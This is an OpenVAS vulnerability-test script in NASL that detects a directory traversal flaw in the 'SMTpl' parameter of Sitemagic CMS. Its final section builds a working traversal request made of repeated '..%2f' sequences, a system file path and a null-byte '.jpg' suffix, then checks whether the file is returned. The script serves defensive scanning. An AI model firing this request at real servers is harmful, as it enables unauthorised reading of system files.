Sitemagic CMS 'SMTpl' Parameter Directory Traversal Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_sitemagic_cms_dir_traversal_vuln.nasl 7577 2017-10-26 10:41:56Z cfischer $
#
# Sitemagic CMS 'SMTpl' Parameter Directory Traversal Vulnerability
#
# Authors:
# Antu Sanadi <[email protected]>
#
# Copyright:
# Copyright (c) 2011 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation could allow an attacker to obtain
arbitrary local files in the context of the web server process.

Impact Level: Application";

tag_affected = "Sitemagic CMS version 2010.04.17";

tag_insight = "The flaw is due to improper sanitisation of user supplied input
through the 'SMTpl' parameter in 'index.php'.";

tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";

tag_summary = "This host is running Sitemagic CMS and is prone to directory
traversal vulnerability.";

if(description)
{
  script_id(902452);
  script_version("$Revision: 7577 $");
  script_tag(name:"last_modification", value:"$Date: 2017-10-26 12:41:56 +0200 (Thu, 26 Oct 2017) $");
  script_tag(name:"creation_date", value:"2011-07-01 16:09:45 +0200 (Fri, 01 Jul 2011)");
  script_bugtraq_id(48399);
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("Sitemagic CMS 'SMTpl' Parameter Directory Traversal Vulnerability");
  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 SecPod");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "http_version.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name:"solution_type", value:"WillNotFix");
  script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/48399/exploit");
  script_xref(name : "URL" , value : "http://packetstormsecurity.org/files/view/102498/sitemagic-traversal.txt");
  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);

if(!can_host_php(port:port)){
  exit(0);
}

foreach dir( make_list_unique( "/Sitemagic", "/CMS", "/", cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  res = http_get_cache(item:string(dir, "/index.php"), port:port);

  ## Confirm the application
  if("<title>Sitemagic CMS</title>" >< res)
  {
    files = traversal_files();

    foreach file (keys(files))
    {
      ## Contstuct exploit string
      url = string(dir,"/index.php?SMTpl=", crap(data:"..%2f",length:5*10),
                   files[file], "%00.jpg");

      ## Confirm exploit worked properly or not
      if(http_vuln_check(port:port, url:url, pattern:file))
      {
        security_message(port:port);
        exit(0);
      }
    }
  }
}